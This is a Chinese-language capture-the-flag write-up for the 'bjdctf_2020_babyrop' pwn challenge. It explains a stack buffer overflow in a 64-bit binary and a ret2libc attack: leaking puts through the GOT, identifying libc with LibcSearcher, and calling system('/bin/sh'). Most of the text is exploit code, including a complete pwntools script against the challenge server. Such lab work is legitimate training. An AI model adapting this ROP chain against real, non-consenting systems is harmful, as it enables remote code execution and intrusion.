bjdctf_2020_babyrop
检查保护机制,开启NX,64位

运行程序,看见有libc的字眼,想到应该和libc泄露有关

shift+F12查找字符串,没有找到system(‘/bin/sh’),看样子应该就是这个类型的题了
main函数

看到一个vuln()函数,应该会是解题的关键,点进去看,果然

找到了漏洞,read读入长度为0x64,buf大小为0x20,就从这个地方切入

利用思路:
1.利用puts函数去泄露libc版本
2.计算偏移量,算出程序里的system函数和字符串’/bin/sh’的地址
3.利用溢出漏洞,构造rop,夺权
解题过程:
先泄露libc,64位程序传参时需要用到寄存器
当参数少于7个时,参数从左到右放入寄存器:rdi,rsi,rdx,rcx,r8,r9
当参数大于等于7个时,前6个就是前面6个,后面的参数就从右向左放入栈中,和32位一样
ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"

payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
然后计算偏移量,算出system和/bin/sh的地址
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
最后构造rop,夺权
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('pull up your sword and tell me u story!')
r.sendline(payload)
exp
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',25680)
elf=ELF(./bjdctf_2020_babyrop')
context.log_level='debug'
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('pull up your sword and tell me u story!')
r.sendline(payload)
r.interactive()
最后拿到flag
